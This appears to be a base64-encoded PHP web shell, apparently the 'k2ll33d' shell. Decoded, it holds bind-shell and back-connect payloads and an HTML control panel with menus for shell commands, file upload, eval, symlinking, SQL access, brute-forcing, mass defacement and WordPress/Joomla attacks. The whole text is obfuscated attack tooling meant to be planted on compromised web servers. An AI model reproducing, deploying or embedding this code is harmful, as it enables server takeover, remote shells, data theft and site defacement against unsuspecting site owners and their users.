ya0NrSUdLeVRyQUhlbVByS2dkYWZJeVpaaGgrNXJFcUtqZVpVSEpBckJuMTBBSEJyTHU5Y2RzNE5hUnBObms0ak82RkphSFFYdXNSd0tmbTVybDlUMXhwU2NIaXFOeGRTVFp5ZUt6NUpBT3B5YTdLZEZJK0F6TFBLMkl2R0xzaHR4TTh6SEpPS3JzZHZUbW5NNWI2VTBybXV0SHhGU1RtN2tmSjY4MG9XcEFoTlBXRW50VHVaS20yUTdUUlZ5TzF6Mm9wY3gwUndzbjBQUVp0YkdPT0t6cDlZWnllYXlHbkxkNlprc2E0VlRTUDBhdG0xZXIxTGMxKzdrODFXYVF1ZXRDeE0zdFV5VzNyV21pUE1icTFuZGtDeGxqVm1LMUxkcW5qaVZSelV3bVZPbFE1ZGpycFllSzFteDBObUZBSnEwbXlNY0NxZjJqM3BQUHJOcHM5U0ZXblRYdW92L2FPS1F6KzlVUE9vODZseW1uMXRzdW1lbW1ibnJWVXVjMGMwN0V2RU5relNacG00MG1La2lpTEduc1N1YWJzSWlselZ5M3RlaElxYTJ0UUJrMVljaU1WaktYWTllaGhWRmM4eUtYRWE0QnFxRk1qMCtWaTdVOVYySUIvRWFGb1hMOTVMeVE2T1B6R0NyMEZhTWFDTmFpdElkZ3pUcnVZUm9lYXpidWVyUmdxTVBhU00zVjd6YXBVR3NCUnVZazFQZlRtYVU5NlpFbkZkY1Z5bytKeGRaNG11MzBRdUtsUVlHYVFKelNUTnRYSGVqY3pTNVZ6TWduazNNUjJxSGFXTlNGY2lueHB6V214eE5PY3RUMWY0UDhBN1JIaVQ0VnZEYXNSck9ocWVkUHVtT1l4L3dCTTM2cDlPUjdWOXMvQ3o0L2VDdmloSEhGcCtvTFk2b3crYlRiNGlPVUgwWHMvL0FTZm9LL05SdW1LV0ptUnd5a3F3NUJCd1JYUlN4TTZmbWo1WE5lRThCbWJjNHIyZFQrWmRmVmJQOEg1bjYvQzIrWEZNaTA5cmlVTGl2emk4QS90UmZFSHdDc2NFR3NIVnJCTUFXbXFBenFCNkJzaHgrRFlyNkM4Ri84QUJRSFNsS2Y4SkQ0VHU0SlJ3MG1tenJLcDk5cjdjZm1hOUNHTXBTMzBQekhHY0VadGhuKzVpcWkvdXZYN25iOExuMUxlZUY1UEpKMmRzNUZjZnFXa09qNUtrVm1hUiszejhKNzJKWTdtTFhMYlBCYVN4VWdmOTh1VFdpLzdVdndSMWxUdThWUGF0MkUybTNRL1VSbXRsaUtMKzBqeFo4TTUzQlhlRHFQMGkzK1NabHkyanF4SldpS0Z1Y2pCcVM2K05Yd2V1VnpiK09iSWtkcExlNFQvQU5DakZZZDk4YXZoakFjcDQwc0g5TnNjeC9rbFY3YWwvTXZ2Unh2Sk0xV2p3dFQvQU1BbC9rZFJGRUF3eU1tclNSYmxPVjVOZVlYL0FPMHI4TmRKalp6NGpGMFFPRXQ3T2RtUDArUUQ4elhtbmkzOXVUVExaSkl2RGZoKzR2SmVpM0dwT0lrSHZzVXNUK1lxWGlLVWZ0SFRRNGR6YkVTNVk0ZVMvd0FTNVYvNU5ZK21QSXczemNEcm12SlBpZCswdDRQK0hIbTJzTS85dmF3bVI5anNuQlZEL3R5ZEYrZ3lmYXZrYng5KzBINDQrSWF5UTMrcnZhV0w5Ykt3SGt4RWVod2N0L3dJbXZOK2E0cW1NYjBwbysveXpnVlJhcVpqTy84QWRqK3Ivd0F2dk85K0tYeHU4VC9GaTdQOXFYZjJmVFZiTVdtV3hLd3A2RWorTnZkcysySzgrMmdmV3BjY1V4aGozcnozSnlkNUg2aFF3dEhDVTFTb1JVWXJvaG5UM29JR0tSalRDYVJUYVF1Mm1ra1V1NmtKNE5Vakp0ZEF6Um5OUnRubW1Fa0NneGM3RS84QUtscXQ1ckR2UjlwWWU5T3pKOXRGYmxnc2MwN2VSVlQ3V1IybysyZjdORmgrM2d1cGI4NWw3MG91V0I1cW45dUg5Mmo3YUNQdTB1WHlENjFIK1l1L2JENjBqWHJmalZMN1lPdXlrYTk5RkZISjVBOFl2NWk0YnFRakFwck5LM1U0cW1iMlFqakFxRjVwSDZzYXJsTUpZdGQyeTVJNFQ3ejFWa3UxSDNSbW9TaGJyU0dHclVVY0ZTdlVsOEtzTWttZVR2Z1ZHc1pOV0JCVWl3K2xYZEk0L1pTbTd5S2dpSjdWS3R2bnJWdExjbnRWbU8xNmNWRG1kZFBCdVhRcFIydWUxV0lyWG5wVjliY0tPQlNoQU8xWk9kejFxZUNVYlhJRmdDOXFLbmJBR2FLVnpyNUlyUWdXTHVhbVJGRlZoTm1sTTlPeGxHY0k2bHNPcWppZ3kxUzgzSnAyOG1wc2FmV094YU0xSjV0UXJrMG9GT3hYdEpNbEVtYWNHelRBdWFrQ1V0RFdQTXdHYWVxa21sU1BQU3JNY0pOUTNZN0tkTnlJZ2xUSkVXcTFIYkRISXExRmErMVpPVmoxNldEY2luSGJaeHhWNjJ0UU1aRlRMQUJqdFZoVkNpc25LNTdkRENSaTdzaktoQlZTZDhuRldKNWRvTlZNR1JxU0tyeSt6RVNOT1N4NkNwNEkvTmZkamltT01BUmo4YXYyOFlqUVVOaW9VdWFWdWlIbkVhMWhhdGQ4RUExbzM5eUkwTmN6Y3pHV1E4MWRPTjNjNDgxeGFoSDJVU05mbmFyU3J0RlJRUjU1cXpqaXVocytab3dkcnNad295ZWxWbmJjMmFsbWJKeDJxRnFFVFZkOUVBNXFXTVlxTUR2VXk4Q2hrUVd0eHA2MHFqQnpTWXpTcm1nMFc1S3ZKcXhFdURVQ0NyY1k0RlpzOUdpcnN0MnBJWUN0Sk9SV1pDZHJaclFpYklyQ1I5UGhKV1ZtVGJSU2VXcG9EVTRFVm1lb2ttTU1DTndWRlJTYVpCSjFRVlpCcGMwN3NUcFU1cjNrbVpVM2grSnZ1RXJXZmNhRFBIeXVIRmRNR3BldFdxa2tjRlhLc0xWMlZ2UTRxUzNsaE9HUXIrRlFzSzdpU0NPVVlaUWF6YnJRWXBRU255TjdWcXFxNm5oNGpKS2tWZWs3bktPS2pOYXQ3cE0xcWZ1N2w5UldheUhKNHJvVWs5VWZLMTZGU2xMbG1yTWdiSU5OTEUxS3dPTVZFeUVWWjUwazBOTFUwbnZRUnpTWU5NNTIyeHJtb2ljVkt3cU1qbXFSelR1TnptZzB1RFM3YW94czJNeHhTN2FrMlU0SUtWeTFUWkR0Tkd6bXJBVE5PQ1o3VXVZMFZHNVhFZVRUeENUVmxZcWxFQngwelNjam9oaHJsTVEwN3lNOXF2TGJFOXFuanRDZTFRNUhaREJ1WFF6RnRTU09NVllTMDVyUUZxYWtFR08xUTVuYkRBSmJvb3JBRjdWTWtmdFZrUm4wcHJMam1wdWRpb0tKQ1Z4MU5NWWdETkxLM1dxMHJseDZWU1Z6bXFUVWRpSzR1TVVWWGxqWnV4TkZiSkk4S3BVcU9XZ2JmYW5CRFYzN0tmU25DM0E3VkhNanJqaFpkU29rV2FsV0wycXlJZ08xUFdLazVIWEREV0lGaXA2eGZuVmdRMUlzZFE1SGJDZ1FKQ1RVMGNKOUtuU1BQYXJVVUh0V2JrZWpTd3R5Q0cyejJxNUZiWUhTck1OdndQU3JLeDRyRnlQb2FHRFVVUXh3Z0RrVktJd0tmdHhTbjJxTG5xUnBxS0doUUtZN0FBMDUyd0tyU3VUUWlLa2xGYUVFcmIyeFRrWHkwM0doSTl6WnBKVzN1RVdxOGp6Ylc5NWo3V1B6Sk41cTVOSUkwTkpDbmxSaXN6VTd3SUNBYUxjek9xVTFoYVBOTGNvYW5kbG1JQnpXZEVwWnFXUmpLK1RWaTJpejJycVM1VlkrR25LV0pxOHpKWW84Q2lad293S2xZaU5hcHNTeEpxVnFkVlIremp5cmNZYU9LUHJTNHJRNEJWR2FlY0dtampGT0FxV2F4N0NZRlBBeFNEbW5Da2FSUTlCVnFMakZWMEZXWXhVTTlHaWl6RU9hdEljVlZqNHFkVFdMUGRwT3lMQ21ucWFnQnFSVGlwTytNaVVHbHpVVzczb0wwckczT2liTktHcUFOVGcrYUxGS29pZmRTZzVxRUhOU0xTTjR5dU9aUTR3UUNLemIzUW9ibkpVYkc5cTB4UlRUYTJNNjFDbGlJOHRTTnpqN3ZRNTdmSkM3aDZpczE0V1hnZ2cxNkNjRWMxVXVMR0NmNzBZK3RieHJQcWZMNG5JSVBXaksza3poREZnMHd4KzFkYk5vRUxFN0NWcWxMb0RxVHR3d3JaVlV6NTJyazJJcDlMK2h6eGo1NlVua1pOYkQ2VzZIbENLamF4SXhrVmZPanpwWUNvdmlSbG1FK2xIbFZwZllqbkdLUTJUZWxQbVJuOVRrdWhuaUwxcHdpcS85aUlwd3NpZXRITWkxZzU5aWdJNmtXSStsYUNXUHR6VmlPeEo3VkxtZGxQQXpmUXo0YmJkVnlLekJxNnRtUU1nVk9scTFZdVo3TkhBY3U2S2lXcWlwQkdxOXF0cmFtbkMweWVsUnpIcHh3clMwUlJaUFNtbENlQUswMXNoNlU4V1k5S1hPYWZVcHlNanltWURpa05xV0hTdDBXcWp0VGhiS08xTG5ORmx0OTJjNmRMYVE5RG1uSm9oWThpdWpFUUhhbmJRS1BhTXBaUFIza1lTYUF2Y1pvcmNad3Z0UlM1NUcvd0RaMkVqbzRuS2xCdHBqSUtLSzZFZkp5aXJEY1lwd0ZGRk15U0hBWXFhSlFXb29xR2RWSmFvc29vcTlDZzIwVVZsSTkzREpYTFNMeFQ2S0t6UGNqc0llQlRTZUtLS0JTSzhqR3F4SkxkYUtLcEhsVmR5Umo1Y1JJNjBsbWdaaXg2MFVVK2dSMXF4VEpydVV4UjhWeTk1TXp5Tm1paXRhU1BGem1jcnBYMEdRcUdZWnJTaFVLdEZGYVNQTndhVnJsYTRrSmsyMUNmU2lpbWpDcTI1TzRuZWlpaW1ZanNaV25xTUNpaWtieEZwNDZVVVVqVkVxYzRxMGc0b29yTm5wMFNkQnhVdzZVVVZrejE0YkM1eFRnZUtLS1JxbnFCWTBtNmlpZ2QyTk1ocDBiRWlpaW1URnZtTFMxS3ZhaWlzejE0YkQ2UThDaWlnMkkzT0tpZHlLS0thT1dvMlJHWTV4U2VhUlJSVkhBNXk3Z0pOMk1nVTFsUmp5Z29vb1FOM1dwRzlwR3g0R0toa3MxWG5ORkZOTm1NNlVHbTdFWGtxS2Q1SXhSUlZYWnhSaEhzVHcyNjR6MXF5c0NrQ2lpb1BTcFFqWmFFZ2lBcDRqR0tLS2s5Q01WMkhCQm1uQkFLS0tSdEZJY0ZGS0Z4UlJRV2tMaWs3MFVVREVMVkZLNVVFMFVVR0ZSdEl6THU3Y0tjY1VVVVYwUlNzZklZbXJQMm01LzlrPSc7DQokcG9ydF9iaW5kX2JkX2M9ImJWTmhiOW93RVAyT3hIKzRwaEk0TklOQU4wMGFZeEphVzZtYXhxYlNMeE5ES0RpWHhpTFlrVzNLR09wLzN6bE9wbzd4SVk3OTNqdmYgK2ZsOEtTUXZkaW5DUjJOVG9mcjVwM2JyOGhXbWhYdzZCUTltWUE4bG1qTzRVWHlEOW9TUWFBVjlBeUZQQ05SYStwUkNXdGdtUXJKRSBQL0dJaHVmUWcyNDlicmQ0bm1qbzlSeEJxeU5BdXdXT2R2bXlOQUtKK3l3bEJpcmhlcGN0cnVPbFc5TUpkdHpya2pUVkt5RkI0MVpaIGRLVElXS2IwaG9Vd21VQWN3dEZ0NittK0VYS1ZKVnRSSEdBQzA3dlYvZXoyY2Z3dlhTcHRpY3l0a29ZbFZnbFgvZk5pdUF6REU2VkwgM1RmVnJ3NG8yUDFzZW5QenNKck9mb1JqbDljZmhXanZJYXR6UnZOdm43K3M1bzhQdDlPdlVSeldaVjk0ZFFnbGVhZzBDM3dRVkt1ZyBVcTJGVEZuakR6dnhBWHBoeDljWFFmeHI2UGN0aExFby84YThxOEI5TGdwa1E3b09nS01idk5lVGhITXNiU09PNjlJQTBsMDVZcFhrIEhEVDhIeHJWMEY0TGl6VVdmRStNMlN1ZGZnaWlZYk9OeGlTdGVicmd5SWpmcURKRzA3QVdpQXpZQmM5TGl2VTNNVnBHRlYyeDFKNFcgdHl4QW5pdllZOEhWRnNFcVdGKy9mN3NCazJOUlFLY0RBL0p0c0U1TURtOUVVRytNaGNGcWtwWDBIbXhHYnFia2RCVE1sZGFIUnNVTCBaZW9EZU9TRkJ2cGVmQ2ZYaGZsT3BnVGt2SitqdEtpUjd2TG9oWUtDcVMyWm1NUmo0WjVnUVpmU2lNYmk2aXFrZG5IYXJFRVhZdWs2IHVQdFRkdW1zcjBIQzRxNXJyek5pZlY3c0MzWldVbXErTFZsVmE1T2ZRalRhblpZUU8rVWYiOw0KJHBvcnRfYmluZF9iZF9wbD0iWlpKaFQ4SXdFSWEvay9BZmprbGdTMmFBK0JGbUpEQjFjVzVrSFNaR3pUSzJReHBtdTJ3bFlvRC9icnVCSWZpdGQzM3V2WHV2dldyMSBObVhSVzFEV3k3SEltbzAyZWJSZDE5S3ExQ0l1VjNCTnRXR3pRWmVnMzQyRGh4Y1l3Y0NBSGVDV0NuMWdET0VnaTF5SGhMWVh6ZndnIHROcUtldXQveUtKTmlVQjRza1loZzNaZWNNRVRubG1mS0tyejRvZkZYNmgzUlpKM0RVbVVGYW9Uc3pPN2p4elBEczBPOFNkUEVRa0QgZS94cy9na1lzTjlEU2hHMFNjd0VKQVhHQXFHdWZtZHEyaEtGQ25tdTFJanZSa3BINmhFL0N1dzVzY2ZUYVdBT1ZFOXBNNVdNb3VNMCBMU0xLOUhNM3B1TXBOaHA3cjhaRlc1NGpnNXdYeDVZWkxRVXlLWFZ6d2RVWForVDNpbVlvVjlkczdKcU5PRWxRVGpueFBjOGtSclZvIHZhVzNjNXBhUzE2c2pabzZxVEV1UUtVMVVPL1JTbkZKR2FhZ2NGVmJqVVRDcWVPWjJxaWpOTFd6ckQ4UFRlMzJYOW9PZ3ZNMGJqR0IgK2hlY2ZPUUZsVDRVY0xTa21JMWNlWTNWcnBLTXk5ZFdVQ1ZDQmZUbFFYNk93eTg9IjsNCiRiYWNrX2Nvbm5lY3Q9ImZaRlJTOE13RklYZkIvc1BXU3cyaFVybnF5UEMwQ3BEM0tTdHZxaDBYUnBjc0UxS2tvS0YvWGlUdENJVjZ0dTU1K1o4OXlZNVcwU3Qga3RHQjhhaWhzcHJQV2tWQktzZ24xYXY1ekNOMWlRR3NPdjRGYmFrNnBXbU5nVS9KVVFDNGIzbFJVM0JSN09GcWNGaHB0TU9wbzI4aiBTMndoVnVsQ2ZsQ052WFZ5Ly9LNmZMZFdJK1NQY2VrTVZwU2x4SXhUblJkYWNEU0VBbkE2Z1pKUkJHTXBoYndDM3VLTnc4QWhYRUtaIGphM0ltY2xZYWdoNjFuOUpLYlRBaHU3RW9iTjNRYjRtalcvYnlyMEJTbmMzRDNFV2dxZTdmTE8xd2hwNW1pWHgrdEhNY05IcEdVUncgVHNrdnBkOTIrcnhvS0VkcGRydlpoZ0Jlbi9leFVXZjNuRTIxNGlUNTIrci9DdzMvNWphcWhLTDlpRkZwdUtQYXdJTFZOdz09IjsNCiRiYWNrX2Nvbm5lY3RfYz0iWFZIYmFnSXhFSDBYL0lkaGhaTFVXRjFmMVlLSUJlbEZxZlpKbGlVbTJXN29iaUpKTExXbC85NGsyOXJXaHlFemMrWjJUanBTc2VyQSBCWXl0NDFKZmxkZnRWdWMzZDdSOXE5bUxjR2VBRWs1NjYwc1ZBYWtjMUZRcUZCeHFuaGtCVmxJRGw5NS8zV2E0M2Zwb3R5Q0FCUjk1IHp6cHpZQTdDYU1xNXlhVUNLMVZBWXB1cDdYYVlacFBFMU5BcklCbUJSemdWdFZZb0pRTWNSL2pWM3ZLQzFySTZ3Z1NtTi9uaVliNzUgaSsyMWNSNHBuVllXVWFjbGl2Y01NL3h2UkRqaHlzYkhWd2RlMFcrSzB3ekg5YnQzWWZSUGluZ0NsVkNuaW03YS9adUpDMEpUd2YzQSBSa0QwZlIrQjlYSjJtNjgzai9QcFBZSEZhdlc0M0N6enpXeUZJZmJJQWhCaVdpbkJIQ280QVhTbUZseGl1UEIzRTAvZ1hlamlITWNZIGp3Y1lndUlBZTJHTU5palo5akw0R1lxVFNCOUF2RW1IR2prL20xOWgxQ0d2UG9ISVk1QTFPaDJ0RTNYSWUxYnhLdzc3WVR5dDZUMkYgNmY5d0dFUHhKbGlGa3Y1T3FyNHRFNUxZRW5veUlmRHdkSGNYSzFpbHJmQWRVYlBQTHc9PSI7DQo/PjxodG1sPjxoZWFkPjxsaW5rIGhyZWY9J2RhdGE6aW1hZ2UveC1pY29uOzw/cGhwIGVjaG8gJHR1bmlzaWE7Pz4nIHJlbD0naWNvbicgdHlwZT0naW1hZ2UveC1pY29uJyAvPjx0aXRsZT46OiBrMmxsMzNkIDo6PC90aXRsZT4NCjxsaW5rIGhyZWY9J2h0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PU9yYml0cm9uOjcwMCcgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2Nzcyc+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpmdW5jdGlvbiB0dWthcihsYW1hLGJhcnUpe2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKGxhbWEpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZChiYXJ1KS5zdHlsZS5kaXNwbGF5ID0gJ2Jsb2NrJzt9DQo8L3NjcmlwdD48bGluayBocmVmPSdodHRwOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcmJpdHJvbjo3MDAnIHJlbD0nc3R5bGVzaGVldCcgdHlwZT0ndGV4dC9jc3MnPjxzdHlsZT4NCi5teWJveHstbW96LWJvcmRlci1yYWRpdXM6IDEwcHg7IGJvcmRlci1yYWRpdXM6IDEwcHg7Ym9yZGVyOjFweCBzb2xpZCAjNEM4M0FGOyBwYWRkaW5nOjRweCAycHg7d2lkdGg6NzAlO2xpbmUtaGVpZ2h0OjI0cHg7fS5teWJveHRibHsgd2lkdGg6NTAlOyB9Ym9keXtiYWNrZ3JvdW5kOiMwMTAxMDE7fSBhIHt0ZXh0LWRlY29yYXRpb246bm9uZTt9IGhyLCBhOmhvdmVye2JvcmRlci1ib3R0b206MXB4IHNvbGlkICM0QzgzQUY7fSAqe3RleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIHJnYigxNTMsIDE1MywgMTUzKTtmb250LXNpemU6MTFweDtmb250LWZhbWlseTpUYWhvbWEsVmVyZGFuYSxBcmlhbDtjb2xvcjojRkZGRkZGO30gLnRhYm5ldHttYXJnaW46MTVweCBhdXRvIDAgYXV0bztib3JkZXI6IDFweCBzb2xpZCAjMzMzMzMzO30gLm1haW4ge3dpZHRoOjEwMCU7fSAuZ2F5YSB7Y29sb3I6ICM4ODg4ODg7fSAudG9we2JvcmRlci1MRUZUOjFweCBzb2xpZCAjZmZmZmZmO2JvcmRlci1SSUdIVDoxcHggc29saWQgI2ZmZmZmZjtmb250LWZhbWlseTp2ZXJkYW5hO31pbnB1dHtiYWNrZ3JvdW5kOiMxMTExMTE7Ym9yZGVyOjE7cGFkZGluZzoycHg7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzIyMjIyMjtib3JkZXItdG9wOjFweCBzb2xpZCAjMjIyMjIyO2ZvbnQtc2l6ZToxMnB4O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTtoZWlnaHQ6MjA7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICM1ZDVkNWQ7Ym9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjMTIxMjEyO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICMxMjEyMTI7Ym9yZGVyLXRvcDoxcHggc29saWQgIzVkNWQ1ZDtjb2xvcjojOWY5ZjlmO30gIC5pbnB1dHp7ICBiYWNrZ3JvdW5kOiMxMTExMTE7IGJvcmRlcjowOyBwYWRkaW5nOjJweDsgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzM5MzkzOTsgZm9udC1zaXplOjExcHg7IGNvbG9yOiNmZmZmZmY7IC1tb3otYm9yZGVyLXJhZGl1czogNnB4OyBib3JkZXItcmFkaXVzOiAxMHB4OyBib3JkZXI6MXB4IHNvbGlkICM0QzgzQUY7bWFyZ2luOjRweCAwIDhweCAwO30gLmlucHV0emJ1dHtiYWNrZ3JvdW5kOiMxMTExMTE7Y29sb3I6IzhmOGY4ZjttYXJnaW46MCA0cHg7Ym9yZGVyOjFweCBzb2xpZCAjNDQ0NDQ0O30gIC5pbnB1dHpidXQ6aG92ZXJ7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzRDODNBRjtib3JkZXItdG9wOjFweCBzb2xpZCAjNEM4M0FGO30uaW5wdXR6OmhvdmVyeyAtbW96LWJvcmRlci1yYWRpdXM6IDZweDsgYm9yZGVyLXJhZGl1czogMTBweDsgYm9yZGVyOjFweCBzb2xpZCAjNEM4M0FGO21hcmdpbjo0cHggMCA4cHggMDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjNEM4M0FGO2JvcmRlci10b3A6MXB4IHNvbGlkICM0QzgzQUY7fS5vdXRwdXQyIHttYXJnaW46YXV0bztib3JkZXI6MXB4IHNvbGlkICM4ODg4ODg7YmFja2dyb3VuZDojMDAwMDAwO3BhZGRpbmc6MCAycHg7fSB0ZXh0YXJlYXttYXJnaW46YXV0bztib3JkZXI6MnB4IHNvbGlkICM1NTU1NTU7YmFja2dyb3VuZDojMDAwMDAwO3BhZGRpbmc6MCAycHg7fSAub3V0cHV0IHttYXJnaW46YXV0bztib3JkZXI6MXB4IHNvbGlkICMzMDMwMzA7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7YmFja2dyb3VuZDojMDAwMDAwO3BhZGRpbmc6MCAycHg7fSAuY21kYm94e3dpZHRoOjEwMCU7fS5oZWFkX2luZm97cGFkZGluZzogMCA0cHg7fSAuYjF7Zm9udC1zaXplOjMwcHg7cGFkZGluZzowO2NvbG9yOiM1NTU1NTU7fSAuYjJ7Zm9udC1zaXplOjMwcHg7cGFkZGluZzowO2NvbG9yOiM4MDAwMDA7fSAuYl90Ymx7dGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luOjAgNHB4IDAgMDtwYWRkaW5nOjAgNHB4IDAgMDtib3JkZXItcmlnaHQ6MXB4IHNvbGlkICMzMzMzMzM7fSAucGhwaW5mbyB0YWJsZXt3aWR0aDoxMDAlO3BhZGRpbmc6MCAwIDAgMDt9IC5waHBpbmZvIHRke2JhY2tncm91bmQ6IzExMTExMTtjb2xvcjojY2NjY2NjO3BhZGRpbmc6NnB4IDhweDs7fSAucGhwaW5mbyB0aCwgdGh7YmFja2dyb3VuZDojMTkxOTE5O2JvcmRlci1ib3R0b206MXB4IHNvbGlkICMzMzMzMzM7Zm9udC13ZWlnaHQ6bm9ybWFsO30gLnBocGluZm8gaDIsIC5waHBpbmZvIGgyIGF7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1zaXplOjE2cHg7cGFkZGluZzowO21hcmdpbjozMHB4IDAgMCAwO2JhY2tncm91bmQ6IzIyMjIyMjtwYWRkaW5nOjRweCAwO30gLmV4cGxvcmV7d2lkdGg6MTAwJTt9IC5leHBsb3JlIGEge3RleHQtZGVjb3JhdGlvbjpub25lO30gLmV4cGxvcmUgdGR7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzMzMzMzMztwYWRkaW5nOjAgOHB4O2xpbmUtaGVpZ2h0OjI0cHg7Y29sb3I6Izk5OTk5OTt9IC5leHBsb3JlIHRoe3BhZGRpbmc6M3B4IDhweDtmb250LXdlaWdodDpub3JtYWw7Y29sb3I6Izk5OTk5OTt9IC5leHBsb3JlIHRoOmhvdmVyICwgLnBocGluZm8gdGg6aG92ZXJ7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgcmVkO30gLmV4cGxvcmUgdHI6aG92ZXJ7YmFja2dyb3VuZDojMzMzMzMzO30gLnZpZXdmaWxle2JhY2tncm91bmQ6I0VERUNFQjtjb2xvcjojMDAwMDAwO21hcmdpbjo0cHggMnB4O3BhZGRpbmc6OHB4O30gLnNlbWJ1bnlpe2Rpc3BsYXk6bm9uZTtwYWRkaW5nOjA7bWFyZ2luOjA7fSAjbWVudXtmb250LWZhbWlseTpvcmJpdHJvbjtiYWNrZ3JvdW5kOiAjMTExMTExO21hcmdpbjo1cHggMnB4IDRweCAycHg7fSAjbWVudSBhe3RleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjtmb250LWZhbWlseTpvcmJpdHJvbjtwYWRkaW5nOjRweCA2cHg7bWFyZ2luOjA7YmFja2dyb3VuZDojNjY2NjY2O3RleHQtZGVjb3JhdGlvbjpub25lO2xldHRlci1zcGFjaW5nOjFweDtjb2xvcjojZmZmZmZmO30gI21lbnUgYTpob3Zlcntmb250LWZhbWlseTpvcmJpdHJvbjtiYWNrZ3JvdW5kOiMxOTE5MTk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzQ0NDQ0NDtib3JkZXItdG9wOjFweCBzb2xpZCAjNDQ0NDQ0O2NvbG9yOiNjZWNlY2U7fWssIGsgYSwgayBhOmhvdmVye3RleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIHJlZDtmb250LWZhbWlseTpvcmJpdHJvbjtmb250LXNpemU6MjVweDtjb2xvcjojZmZmZmZmO308L3N0eWxlPjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NtZCcpLmZvY3VzKCk7Ij48ZGl2IGNsYXNzPSJtYWluIj48ZGl2IGNsYXNzPSJoZWFkX2luZm8iPiA8dGFibGU+PHRyPjx0ZCB3aWR0aD0iMTUlIj48dGFibGUgY2xhc3M9ImJfdGJsIj4NCjw/cGhwIGVjaG8gKGJhc2U2NF9kZWNvZGUoJ1BHZ3hQanhoUG1zZ01pQnNJR3dnTXlBeklHUW1ibUp6Y0RzbWJtSnpjRHRUSUdnZ1pTQnNJR3c4TDJFK1BDOW9NVDRtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEcz0nKSk7Pz48ZGl2IGlkPSJtZW51Ij48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9YWJvdXQiPkFib3V0IE1lPC9hPjwvZGl2Pg0KPC90ZD48L3RyPjwvdGFibGU+PC90ZD48dGQgY2xhc3M9InRvcCIgd2lkdGg9JzYwJSc+PD9waHAgZWNobyAkYnVmZjs/PjwvdGQ+Jm5ic3A7Jm5ic3A7PHRkIHN0eWxlPSJ3aWR0aDozMCU7Ij48YT5zZXJ2ZXIgaXAgOjw/cGhwIGVjaG8gJHNlcnZlcl9pcC4iPGZvbnQgY29sb3I9J3JlZCc+PGJyPjxicj48L2ZvbnQ+IHlvdXIgaXAgOiAiLiRteV9pcC4iPGJyPjwvYT4iOz8+PGJyPjxkaXYgaWQ9Im1lbnUiPjxhIGhyZWY9Ij8iPkhvbWU8L2E+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+PC9kaXY+DQo8ZGl2IGlkPSJtZW51Ij48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4iPkZpbGVzPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1zaGVsbCI+U2hlbGw8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXVwbG9hZCI+dXBsb2FkPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1waHAiPkV2YWw8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXN5bSI+U3ltPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1uZXRzcGxvaXQiPlRvb2xzPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1teXNxbCI+U3FsPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1tYXNzIj5NYXNzPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1icnV0ZSI+QnJ1dGU8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXBocGluZm8iPnBocGluZm88L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXpvbmUtaCI+Wm9uZS1IPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1qb29tbGEiPkpvb21sYTwvYT48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9d29yZHByZXNzIj5Xb3JkcHJlc3M8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXZiIj5WYjwvYT48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9ZG9tYWlucyI+RG9tYWluczwvYT48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9c3RyaW5nIj5TdHJpbmc8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXdtIj5XcCBNYXNzPC9hPjwvZGl2